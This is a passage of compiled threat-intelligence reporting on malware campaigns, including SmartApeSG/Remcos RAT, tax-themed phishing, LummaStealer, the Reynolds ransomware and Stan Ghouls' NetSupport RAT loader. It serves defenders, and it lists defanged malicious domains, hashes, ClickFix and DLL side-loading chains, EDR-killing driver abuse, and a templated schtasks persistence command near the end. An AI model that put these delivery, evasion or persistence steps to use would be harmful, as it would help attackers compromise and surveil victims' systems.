RAT, StealC and Sectop RAT are packages that use legitimate EXE files to side-load malicious DLLs (a technique called DLL side-loading). The NetSupport RAT package is a legitimate tool that's configured to use an attacker-controlled server. As always, the files, URLs and domains for SmartApeSG activity change on a near-daily basis. And names of the HTA file and ZIP archive for Remcos RAT are different for each infection. The indicators described in this article may no longer be current as you read this. However, this activity confirms that the SmartApeSG campaign can push a variety of malware after an initial infection. --- Bradley Duncan brad [at] malware-traffic-analysis.net

Microsoft has warned of fresh campaigns that are capitalizing on the upcoming tax season in the U.S. to harvest credentials and deliver malware. The email campaigns take advantage of the urgency and time-sensitive nature of emails to send phishing messages masquerading as refund notices, payroll forms, filing reminders, and requests from tax professionals to deceive recipients into opening malicious attachments, scanning QR code, or interacting with suspicious links. "Many campaigns target individuals for personal and financial data theft, but others specifically target accountants and other professionals who handle sensitive documents, have access to financial data, and are accustomed to receiving tax-related emails during this period," the Microsoft Threat Intelligence and Microsoft Defender Security Research teams said in a report published last week. While some of these efforts direct users to sketchy pages designed through Phishing-as-a-service (PhaaS) platforms, others result in the deployment of legitimate remote monitoring and management tools (RMMs), such as ConnectWise ScreenConnect, Datto, and SimpleHelp, enabling the attackers to gain persistent access to compromised devices. The details of some of the campaigns are below - Using Certified Public Accountant (CPA) lures to deliver phishing pages associated with the Energy365 PhaaS kit to capture victims' email and password. The Energy365 phishing kit is estimated to be sending hundreds of thousands of malicious emails on a daily basis. Using QR code and W2 lures to target approximately 100 organizations, mainly in the manufacturing, retail, and healthcare industries located in the U.S., to direct users to phishing pages mimicking the Microsoft 365 sign-in pages and built using the SneakyLog (aka Kratos) PhaaS platform to siphon their credentials and two-factor authentication (2FA) codes. Using tax-themed domains for use in phishing campaigns that trick users into clicking on bogus links under the pretext of accessing updated tax forms, only to distribute ScreenConnect. Impersonating the Internal Revenue Service (IRS) with a cryptocurrency lure that specifically targeted the higher education sector in the U.S., instructing recipients to download a "Cryptocurrency Tax Form 1099" by accessing a malicious domain ("irs-doc[.]com" or "gov-irs216[.]net") to deliver ScreenConnect or SimpleHelp. Targeting accountants and related organizations, asking for help to file their taxes by sending a malicious link that leads to the installation of Datto. Microsoft said it also observed a large-scale phishing campaign on February 10, 2026, in which more than 29,000 users across 10,000 organizations were affected. About 95% of the targets were located in the U.S., spanning industries like financial services (19%), technology and software (18%), and retail and consumer goods (15%). "The emails impersonated the IRS, claiming that potentially irregular tax returns had been filed under the recipient's Electronic Filing Identification Number (EFIN). Recipients were instructed to review these returns by downloading a purportedly legitimate 'IRS Transcript Viewer,'" the tech giant said. The emails, which were sent through Amazon Simple Email Service (SES), contained a "Download IRS Transcript View 5.1" button that, when clicked, redirected users to smartvault[.]im, a domain masquerading as SmartVault, a well-known document management and sharing platform. The phishing site relied on Cloudflare to keep bots and automated scanners at bay, thus ensuring that only human users are served the main payload: a maliciously packaged ScreenConnect that grants the attackers remote access to their systems and facilitates data theft, credential harvesting, and further post‑exploitation activity. To stay safe against these attacks, organizations are recommended to enforce 2FA on all users, implement conditional access policies, monitor and scan incoming emails and visited websites, and prevent users from accessing the malicious domains. The development coincides with the discovery of several campaigns that have been found to drop remote access malware or conduct data theft - Using fake Google Meet and Zoom pages to lure users into fraudulent video calls that ultimately deliver remote-access software like Teramind, a legitimate employee monitoring platform, by means of a bogus software update. Using a fraudulent website that leverages the Avast branding to trick French-speaking users into handing over their full credit card details as part of a refund scam. Using a typosquatted website impersonating the official Telegram download portal ("telegrgam[.]com") to distribute trojanized installers that, in addition to dropping a legitimate Telegram installer, execute a DLL responsible for launching an in-memory payload. The malware then initiates communication with its command-and-control infrastructure to receive instructions, download updated components, and maintain persistent access. Abusing Microsoft Azure Monitor alert notifications to deliver callback phishing emails that use invoice and unauthorized-payment lures. "Attackers create malicious Azure Monitor alert rules, embedding scam content in the alert description, including fake billing details and attacker-controlled support phone numbers," LevelBlue said. "Victims are then added to the Action Group linked to the alert rule, causing Azure to send the phishing message from the legitimate sender address [email protected]." Using quotation-themed lures in phishing emails to deliver a JavaScript dropper that connects to an external server to download a PowerShell script, which launches the trusted Microsoft application "Aspnet_compiler.exe" and injects into it an XWorm 7.1 payload via reflective DLL injection. The updated malware comes with a .NET-developed component engineered for stealth and persistence. Similar requests for quotation lures have also been used to trigger a fileless Remcos RAT infection chain. Using phishing emails and ClickFix ploys to deliver NetSupport RAT and gain unauthorized system access, exfiltrate data, and deploy additional malware. Using Microsoft Application Registration Redirect URI's ("login.microsoftonline[.]com") in phishing emails to abuse trust relationships and bypass email spam filters to redirect users to phishing websites that capture victims' credentials and 2FA codes. Abusing legitimate URL rewriting services from Avanan, Barracuda, Bitdefender, Cisco, INKY, Mimecast, Proofpoint, Sophos, and Trend Micro to conceal malicious URLs in phishing emails evades detection. "Threat actors have increasingly adopted multi-vendor chained redirection in their phishing campaigns," LevelBlue said. "Earlier activity typically relied on a single rewriting service, but newer campaigns stack multiple layers of already‑rewritten links. This nesting makes it significantly harder for security platforms to reconstruct the full redirect path and identify the final malicious destination." Using malicious ZIP files impersonating a wide range of software, including artificial intelligence (AI) image generators, voice-changing tools, stock-market trading utilities, game mods, VPNs, and emulators, to deliver Salat Stealer or MeshAgent, along with a cryptocurrency miner. The campaign has specifically targeted users in the U.S., the U.K., India, Brazil, France, Canada, and Australia. Using digital invitation lures sent via phishing emails to divert users to a fake Cloudflare CAPTCHA page that delivers a VBScript, which then runs PowerShell code to fetch an evasive .NET loader dubbed SILENTCONNECT from Google Drive to eventually deliver ScreenConnect. The findings follow an uptick in RMM adoption by threat actors, with the abuse of such tools surging 277% year-over-year, according to a recent report published by Huntress. One notable tactic involves the daisy-chaining of distinct RMM tools to fragment telemetry, distribute persistence, and complicate attribution and containment efforts, the company added. "As these tools are used by legitimate IT departments, they are typically overlooked and considered 'trusted' in most corporate environments," Elastic Security Labs researchers Daniel Stepanic and Salim Bitam said. "Organizations must stay vigilant, auditing their environments for unauthorized RMM usage."

Introduction This diary describes a Remcos RAT infection that I generated in my lab on Thursday, 2026-03-11. This infection was from the SmartApeSG campaign that used a ClickFix-style fake CAPTCHA page. My previous in-depth diary about a SmartApeSG (ZPHP, HANEYMANEY) was in November 2025, when I saw NetSupport Manager RAT. Since then, I've fairly consistently seen what appears to be Remcos RAT from this campaign. Finding SmartApeSG Activity As previously noted, I find SmartApeSG indicators from the Monitor SG account on Mastodon, and I use URLscan to pivot on those indicators to find compromised websites with injected SmartApeSG script. Details Below is an image of HTML in a page from a legitimate but compromised website that shows the injected SmartApeSG script. Shown above: Page from a legitimate but compromised site that highlights the injected SmartApeSG script. The injected SmartApeSG script generates a fake CAPTCHA-style "verify you are human" page, which displays ClickFix-style instructions after checking a box on the page. A screenshot from this infection is shown below, and it notes the ClickFix-style script injected into the user's clipboard. Users are instructed to open a run window, paste the script into it, and hit the Enter key. Shown above: Fake CAPTCHA page generated by a legitimate but compromised site, showing the ClickFix-style command. I used Fiddler to reveal URLS from the HTTPS traffic, and I recorded the traffic and viewed it in Wireshark. Traffic from the infection chain is shown in the image below. Shown above: Traffic from the infection in Fiddler and Wireshark. After running the ClickFix-style instructions, the malware was sent as a ZIP archive and saved to disk with a .pdf file extension. This appears to be Remcos RAT in a malicious package that uses DLL side-loading to run the malware. This infection was made persistent with an update to the Windows Registry. Shown above: Malware from the infection persistent on an infected Windows host. Indicators of Compromise Injected SmartApeSG script injected into page from legitimate but compromised site: hxxps[:]//cpajoliette[.]com/d.js Traffic to domain hosting the fake CAPTCHA page: hxxps[:]//retrypoti[.]top/endpoint/signin-cache.js hxxps[:]//retrypoti[.]top/endpoint/login-asset.php?Iah0QU0N hxxps[:]//retrypoti[.]top/endpoint/handler-css.js?00109a4cb788daa811 Traffic generated by running the ClickFix-style script: hxxp[:]//forcebiturg[.]com/boot <-- 302 redirect to HTTPS URL hxxps[:]//forcebiturg[.]com/boot <-- returned HTA file hxxp[:]//forcebiturg[.]com/proc <-- 302 redirect to HTTPS URL hxxps[:]//forcebiturg[.]com/proc <-- returned ZIP archive archive with files for Remcos RAT Post-infection traffic for Remcos RAT: 193.178.170[.]155:443 - TLSv1.3 traffic using self-signed certificate Example of ZIP archive for Remcos RAT: SHA256 hash: b170ffc8612618c822eb03030a8a62d4be8d6a77a11e4e41bb075393ca504ab7 File size: 92,273,195 bytes File type: Zip archive data, at least v2.0 to extract, compression method=deflate Example of saved file location: C:\Users\[username]\AppData\Local\Temp\594653818\594653818.pdf Of note, the files, URLs and domains for SmartApeSG activity change on a near-daily basis, and the indicators described in this article are likely no longer current. However, the overall patterns of activity for SmartApeSG have remained fairly consistent over the past several months. --- Bradley Duncan brad [at] malware-traffic-analysis.net

For the latest discoveries in cyber research for the week of 2nd March, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Wynn Resorts, a United States-based casino and hotel operator, has confirmed that employee data was accessed following an extortion threat linked to ShinyHunters. The company said operations were not disrupted. Reports indicate the stolen dataset includes HR-related information, including contact details and employment records for current and former staff. UFP Technologies, a United States-based medical device manufacturing giant, has disclosed a cyberattack that compromised parts of its IT environment and resulted in data exfiltration. The company reported disruptions to shipping and labeling workflows. According to the company, some of its data was wiped in the attack. Transport Workers Union of America Local 100, which represents New York City transit workers, was targeted by the Qilin ransomware group and listed on its leak site. According to reports, personal data of the union’s 67,000 members is now at risk of fraud and identity misuse. Check Point Harmony Endpoint and Threat Emulation provide protection against this threat (Ransomware.Wins.Qilin.ta.* Ransomware.Wins.Qilin.) European home improvement marketplace ManoMano has reported a data breach tied to a third-party customer support portal. The exposed records include customer names, email addresses, phone numbers, and support ticket details. ManoMano said passwords and payment data were not affected, and notifications are being sent to impacted users. AI THREATS Check Point Research has discovered critical vulnerabilities in Anthropic’s Claude Code that allow attackers to achieve remote code execution and steal API credentials through malicious project configurations. Stolen keys can provide access to shared Workspaces for file access and tampering. Anthropic patched the issues, including CVE-2025-59536. Anthropic warns of coordinated “distillation” activity attributed to China-based AI firms, including DeepSeek, MiniMax, and Moonshot. Anthropic said fraudulent accounts generated millions of Claude exchanges aimed at extracting reasoning, coding, and agent workflows. The activity was described as an effort to train competing models. OpenAI has released a report listing malicious attempts to misuse its models. Among the threats listed in the report is an influence operation attempt linked to Chinese law enforcement, which targeted Japan’s prime minister. VULNERABILITIES AND PATCHES Two Roundcube Webmail flaws have been listed as exploited in the wild, including CVE-2025-49113, a high-severity post-auth remote code execution bug. The second issue, CVE-2025-68461, is an unauthenticated cross-site scripting flaw. The bugs affect widely used Roundcube deployments, including cPanel environments globally. Check Point IPS provides protection against this threat (Roundcube Webmail Remote Code Execution (CVE-2025-49113)) Researchers have unveiled a pre-auth remote code execution chain in SolarWinds Web Help Desk. The chain combines authentication bypass flaws CVE-2025-40552 and CVE-2025-40554 with deserialization RCE CVE-2025-40553. A successful attack can allow takeover of exposed help desk servers without credentials. The flaws affect widely deployed on-premises instances. Check Point IPS provides protection against these threats (SolarWinds Web Help Desk Authentication Bypass (CVE-2025-40536, CVE-2025-40554, CVE-2025-40552), SolarWinds Web Help Desk Insecure Deserialization (CVE-2024-28986, CVE-2024-28988, CVE-2025-40553, CVE-2025-26399)) Researchers alerted organizations about CVE-2026-20127, a critical authentication bypass in Cisco Catalyst SD-WAN Controller (CVSS 10) exploited in the wild for at least three years. Attackers can log in with high privileges, add rogue peers, and downgrade controllers to exploit CVE-2022-20775 for root access. CISA issued an emergency directive mandating fast patching. THREAT INTELLIGENCE REPORTS Check Point Research summarizes five key Iranian threat actor clusters relevant to the current conflict in the Middle East. It outlines the main TTPs these groups have recently used against targets in the Middle East and the United States and shares six defensive measures IT teams should take to help prevent attacks during the ongoing conflict. Check Point Research has published its Untold Stories of 2025, a compilation covering multiple notable campaigns that occurred during 2025. These include exploitation of Microsoft SharePoint (“ToolShell”), and adversary-in-the-middle phishing used to bypass MFA, as well as state-linked operations attributed to groups such as Camaro Dragon and COLDRIVER. The report also highlights evolving command-and-control techniques observed across Europe and Central Asia. Lazarus-linked operators were observed using Medusa ransomware in recent intrusions, including activity against a Middle Eastern entity and attempted access at a US healthcare organization. Medusa is described as a ransomware-as-a-service operation with leak-site activity. Check Point Harmony Endpoint and Threat Emulation provide protection against this threat. Researchers have uncovered GrayCharlie activity targeting WordPress sites by injecting external JavaScript that profiles visitors and delivers malware through fake updates or ClickFix-style prompts. Reporting links infections to NetSupport tooling, followed by Stealc and SectopRAT.

A surge in LummaStealer infections has been observed, driven by social engineering campaigns leveraging the ClickFix technique to deliver the CastleLoader malware. LummaStealer, also known as LummaC2, is an infostealer operation running as a malware-as-a-service (MaaS) platform that was disrupted in May 2025 when multiple tech firms and law enforcement authorities seized 2,300 domains and the central command structure supporting the malicious service. Infostealing malware targets various sensitive data that can range from credentials and cookies stored in web browsers, cryptocurrency wallet details, and documents to session cookies, authentication tokens, VPN configurations, and account data. Although the law enforcement operation severely disrupted the LummaStealer activity, the MaaS operation started to resume in July 2025. A new report from cybersecurity company Bitdefender warns that LummaStealer operations have scaled significantly between December 2025 and January 2026, now being delivered through a malware loader called CastleLoader, and increasingly relying on ClickFix techniques. "At the core of many of these campaigns is CastleLoader, which plays a central role in helping LummaStealer spread through delivery chains. Its modular, in-memory execution model, extensive obfuscation, and flexible command-and-control communication make it well-suited to malware distribution of this scale," Bitdefender researchers say. CastleLoader emerged in early 2025 and has been distributing multiple families of infostealers and remote access trojans (Stealc, RedLine, Rhadamanthys, MonsterV2, CastleRAT, SectopRAT, NetSupport RAT, WarmCookie) through various methods, including ClickFix. The malware loader is a heavily obfuscated script-based (AutoIT or Python) malware loader that decrypts, loads, and executes the LummaStealer payload entirely in memory. It employs multiple obfuscation layers, including dictionary-based renaming of variables and functions, encoded strings decoded at runtime, large amounts of junk code and dead branches, and arithmetic and logic operations that resolve to trivial results. Before executing LummaStealer, CastleLoader performs environment and sandbox checks to determine if it’s being analyzed, and adjusts file paths and persistence locations depending on which security products are detected on the host. Persistence is achieved by copying the malicious AutoIT script to a persistence path, copying the interpreter to a separate location, and creating an internet shortcut file on Startup that launches the interpreter with the script as an argument. Bitdefender found that CastleLoader deliberately initiates a failed DNS lookup for a non-existent domain, resulting in a DNS failure. The cybersecurity company says that artifacts from this network behavior can be used to detect CastleLoader activity. In a report in November, researchers at Recorded Future's Insikt Group noted that a domain on CastleLoader's infrastructure acted as a command-and-control (C2) server for LummaStealer, indicating an early connection between the two operations. Currently, LummaStealer is distributed via multiple channels, including trojanized software installers, pirated software downloaded from fake sites or torrents, and fake media or game archives in campaigns targeting countries all over the world. According to the researchers, ClickFix is a "highly effective infection vector in LummaStealer campaigns." Users are served fake CAPTCHA or verification pages with detailed instructions to execute a malicious PowerShell command that had already been added to the clipboard. The command ultimately retrieves a malicious script from the attacker's server and executes it on the local machine. The payload delivered this way was CastleLoader, which, in some cases, fetched and executed the LummaStealer info-stealing malware. To defend against this threat, Bitdefender researchers recommend users avoid downloading and executing software or media (especially if the file has a .EXE extension) from untrusted or unofficial sources. Also, executing commands you don't understand in PowerShell or command-line utilities as part of a website's verification process is a red flag for malicious activity. The general advice is to steer clear of pirated software (e.g., cracks, "unlocked" tools) and hide promoted results on Google Search by using an ad blocker. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Cybersecurity researchers have disclosed details of an emergent ransomware family dubbed Reynolds that comes embedded with a built-in bring your own vulnerable driver (BYOVD) component for defense evasion purposes within the ransomware payload itself. BYOVD refers to an adversarial technique that abuses legitimate but flawed driver software to escalate privileges and disable Endpoint Detection and Response (EDR) solutions so that malicious activities go unnoticed. The strategy has been adopted by many ransomware groups over the years. "Normally, the BYOVD defense evasion component of an attack would involve a distinct tool that would be deployed on the system prior to the ransomware payload in order to disable security software," the Symantec and Carbon Black Threat Hunter Team said in a report shared with The Hacker News. "However, in this attack, the vulnerable driver (an NsecSoft NSecKrnl driver) was bundled with the ransomware itself." Broadcom's cybersecurity teams noted that this tactic of bundling a defense evasion component within the ransomware payload is not novel, and that it has been observed in a Ryuk ransomware attack in 2020 and in an incident involving a lesser-known ransomware family called Obscura in late August 2025. In the Reynolds campaign, the ransomware is designed to drop a vulnerable NsecSoft NSecKrnl driver and terminate processes associated with various security programs from Avast, CrowdStrike Falcon, Palo Alto Networks Cortex XDR, Sophos (along with HitmanPro.Alert), and Symantec Endpoint Protection, among others. In a statement shared with The Hacker News over email, cybersecurity vendor Sophos said it "has had protective blocking protection against this driver since November 2025 and proactive [safeguards] against the payload for multiple years." It's worth noting that the NSecKrnl driver is susceptible to a known security flaw (CVE-2025-68947, CVSS score: 5.7) that could be exploited to terminate arbitrary processes. Notably, the driver has been put to use by a threat actor known as Silver Fox in attacks designed to kill endpoint security tools prior to delivering ValleyRAT. Over the past year, the hacking group has previously wielded multiple legitimate but flawed drivers – including truesight.sys and amsdk.sys – as part of BYOVD attacks to disarm security programs. By bringing together defense evasion and ransomware capabilities into one component, it makes it harder for defenders to stop the attack, not to mention obviating the need for an affiliate to separately incorporate this step into their modus operandi. "Also of note in this attack campaign was the presence of a suspicious side-loaded loader on the target's network several weeks prior to the ransomware being deployed," Symantec and Carbon Black said. "Also of note in this attack campaign was the presence of a suspicious side-loaded loader on the target's network several weeks prior to the ransomware being deployed." Another tool deployed on the target network a day after the ransomware deployment was the GotoHTTP remote access program, indicating that the attackers may be looking to maintain persistent access to the compromised hosts. "BYOVD is popular with attackers due to its effectiveness and reliance on legitimate, signed files, which are less likely to raise red flags," the company said. "The advantages of wrapping the defense evasion capability in with the ransomware payload, and the reason ransomware actors might do this, may include the fact that packaging the defense evasion binary and the ransomware payload together is 'quieter,' with no separate external file dropped on the victim network." Sophos also noted that the use of the NSecKrnl driver was previously observed in two ransomware incidents involving LockBit/Warlock and Nitrogen, and that these incidents were "stopped by process-independent ransomware protection that remains effective regardless of BYOVD termination attempts." Furthermore, the company pointed out that there are both pros and cons when it comes to merging BYOVD with ransomware encryption into one payload, adding it risks breaking the entire execution chain once the driver is detected by security software, putting them at a tactical disadvantage. "Combining BYOVD-based EDR termination with ransomware encryption in a single binary can be particularly effective against solutions with two architectural weaknesses: infrequently updated Vulnerable Driver Blocklists, and threat protection relying solely on user-mode services that only detect locally executed ransomware (which fails against remote encryption)," it explained. "However, consolidating defense evasion and impact into a single execution chain increases behavioral density, raising detection likelihood for solutions with comprehensive behavioral monitoring. Whether that detection results in prevention depends on the endpoint protection architecture and whether protection mechanisms can intervene inline before impact occurs." The finding coincides with various ransomware-related developments in recent weeks - A high-volume phishing campaign has used emails with Windows shortcut (LNK) attachments to run PowerShell code that fetches a Phorpiex dropper, which is then used to deliver the GLOBAL GROUP ransomware. The ransomware is notable for carrying out all activity locally on the compromised system, making it compatible with air‑gapped environments. It also conducts no data exfiltration. Attacks mounted by WantToCry have abused virtual machines (VMs) provisioned by ISPsystem, a legitimate virtual infrastructure management provider, to host and deliver malicious payloads at scale. Some of the hostnames have been identified in the infrastructure of multiple ransomware operators, including LockBit, Qilin, Conti, BlackCat, and Ursnif, as well as various malware campaigns involving NetSupport RAT, PureRAT, Lampion, Lumma Stealer, and RedLine Stealer. It's assessed that bulletproof hosting providers are leasing ISPsystem virtual machines to other criminal actors for use in ransomware operations and malware delivery by exploiting a design weakness in VMmanager's default Windows templates that reuse the same static hostname and system identifiers every time they are deployed. This, in turn, allows threat actors to set up thousands of VMs with the same hostname and complicate takedown efforts. DragonForce has created a "Company Data Audit" service to support affiliates during extortion campaigns as part of the continued professionalization of ransomware operations. "The audit includes a detailed risk report, prepared communication materials, such as call scripts and executive-level letters, and strategic guidance designed to influence negotiations," LevelBlue said. DragonForce operates as a cartel that allows affiliates to create their own brands while operating under its umbrella and gaining access to its resources and services. The latest iteration of LockBit, LockBit 5.0, has been found to use ChaCha20 cipher to encrypt files and data across Windows, Linux, and ESXi environments, a shift from the AES-based encryption approach in LockBit 2.0 and LockBit 3.0. In addition, the new version features a wiper component, an option to delay execution prior to encryption, track status of encryption using a progress bar, improved anti-analysis techniques to evade detection, and enhanced in-memory execution to minimize disk traces. The Interlock ransomware group has continued its assault on U.K.- and U.S.-based organizations, particularly in the education sector, in one case leveraging a zero-day vulnerability in the "GameDriverx64.sys" gaming anti-cheat driver (CVE-2025-61155, CVSS score: 5.5) to disable security tools in a BYOVD attack. The attack is also characterized by the deployment of NodeSnake/Interlock RAT (aka CORNFLAKE) to steal sensitive data, while initial access is said to have originated from a MintLoader infection. Ransomware operators have been observed increasingly shifting their focus from traditional on-premises targets to cloud storage services, especially misconfigured S3 buckets used by Amazon Web Services (AWS), with the attacks leaning on native cloud features to delete or overwrite data, suspend access, or extract sensitive content, while simultaneously staying under the radar. According to data from Cyble, GLOBAL GROUP is one of the many ransomware crews that sprang forth in 2025, the others being Devman, DireWolf, NOVA, J group, Warlock, BEAST, Sinobi, NightSpire, and The Gentlemen. In Q4 2025 alone, Sinobi's data leak site listings increased 306%, making it the third-most active ransomware group after Qilin and Akira, per ReliaQuest. "Meanwhile, the return of LockBit 5.0 was one of Q4's biggest shifts, driven by a late-quarter spike that saw the group list 110 organizations in December alone," researcher Gautham Ashok said. "This output signals a group that can scale execution quickly, convert intrusions into impact, and sustain an affiliate pipeline capable of operating at volume." The emergence of new players, combined with partnerships forged between existing groups, has led to a spike in ransomware activity. Ransomware actors claimed a total of 4,737 attacks during 2025, up from 4,701 in 2024. The number of attacks that don't involve encryption and instead rely purely on data theft as a means to exert pressure reached 6,182 during the same period, a 23% increase from 2024. As for the average ransom payment, the figure stood at $591,988 in Q4 2025, a 57% jump from Q3 2025, driven by a small number of "outsized settlements," Coveware said in its quarterly report last week, adding threat actors may return to their "data encryption roots" for more effective leverage to extract ransoms from victims. (The story was updated after publication to include additional insights from Sophos.)

The threat actor known as Bloody Wolf has been linked to a campaign targeting Uzbekistan and Russia to infect systems with a remote access trojan known as NetSupport RAT. Cybersecurity vendor Kaspersky is tracking the activity under the moniker Stan Ghouls. The threat actor is known to be active since at least 2023, orchestrating spear-phishing attacks against manufacturing, finance, and IT sectors in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan. The campaign is estimated to have claimed about 50 victims in Uzbekistan, with 10 devices in Russia also impacted. Other infections have been identified to a lesser degree in Kazakhstan, Turkey, Serbia, and Belarus. Infection attempts have also been recorded on devices within government organizations, logistics companies, medical facilities, and educational institutions. "Given Stan Ghouls' targeting of financial institutions, we believe their primary motive is financial gain," Kaspersky noted. "That said, their heavy use of RATs may also hint at cyber espionage." The misuse of NetSupport, a legitimate remote administration tool, is a departure for the threat actor, which previously leveraged STRRAT (aka Strigoi Master) in its attacks. In November 2025, Group-IB documented phishing attacks aimed at entities in Kyrgyzstan to distribute the tool. The attack chains are fairly straightforward in that phishing emails loaded with malicious PDF attachments are used as a launchpad to trigger the infection. The PDF documents embed links that, when clicked, lead to the download of a malicious loader that handles multiple tasks - Display a fake error message to give the impression to the victim that the application can't run on their machine. Check if the number of previous RAT installation attempts is less than three. If the number has reached or exceeded the limit, the loader throws an error message: "Attempt limit reached. Try another computer." Download the NetSupport RAT from one of the several external domains and launch it. Ensure NetSupport RAT's persistence by configuring an autorun script in the Startup folder, adding a NetSupport launch script ("run.bat") to the Registry's autorun key, and creating a scheduled task to trigger the execution of the same batch script. Kaspersky said it also identified Mirai botnet payloads staged on infrastructure associated with Bloody Wolf, raising the possibility that the threat actor may have expanded its malware arsenal to target IoT devices. "With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign," the company concluded. "It points to the significant resources these actors are willing to pour into their operations." The disclosure coincides with a number of cyber campaigns targeting Russian organizations, including those conducted by ExCobalt, which has leveraged known security flaws and credentials stolen from contractors to obtain initial access to target networks. Positive Technologies described the adversary as one of the "most dangerous groups" attacking Russian entities. The attacks are characterized by the use of various tools, along with attempts to siphon Telegram credentials and message history from the compromised hosts and Outlook Web Access credentials by injecting malicious code into the login page - CobInt, a known backdoor used by the group. Lockers such as Babuk and LockBit. PUMAKIT, a kernel rootkit to escalate privileges, hide files and directories, and conceal itself from system tools, along with prior iterations known as Facefish (February 2021), Kitsune (February 2022), and Megatsune (November 2023). The use of Kitsune was also linked to a threat cluster known as Sneaky Wolf (aka Sneaking Leprechaun) by BI.ZONE. Octopus, a Rust-based toolkit that's used to elevate privileges in a compromised Linux system. "The group changed the tactics of initial access, shifting the focus of attention from the exploitation of 1-day vulnerabilities in corporate services available from the internet (e.g., Microsoft Exchange) to the penetration of the infrastructure of the main target through contractors," Positive Technologies said. State institutions, scientific enterprises, and IT organizations in Russia have also been targeted by a previously unknown threat actor known as Punishing Owl that has resorted to stealing and leaking data on the dark web. The group, suspected to be a politically motivated hacktivist entity, has been active since December 2025, with one of its social media accounts administered from Kazakhstan. The attacks utilize phishing emails with a password-protected ZIP archive, which, when opened, contains a Windows shortcut (LNK) masquerading as a PDF document. Opening the LNK file results in the execution of a PowerShell command to download a stealer named ZipWhisper from a remote server to harvest sensitive data and upload it to the same server. Another threat cluster that has trained its sights on Russia and Belarus is Vortex Werewolf. The end goal of the attacks is to deploy Tor and OpenSSH so as to facilitate persistent remote access. The campaign was previously exposed in November 2025 by Cyble and Seqrite Labs, with the latter calling the campaign Operation SkyCloak.

Introduction Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns. We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage). During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal. Technical details Threat evolution Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines. Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage. Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity. Initial infection vector As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan. The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”. The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court). During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek: The email text can be translated as follows: The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF: Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment. They even helpfully provide a link for the victim to download and install it from the official website. The malicious loader The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader: Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/ Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/ Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20). It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls. The malicious loader handles three main tasks: Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.” Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.” Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live. The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it: The loader also ensures NetSupport persistence by adding it to startup using the following three methods: It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup ): It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name ). It creates a scheduled task to trigger run.bat using the following command: schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]" Once the 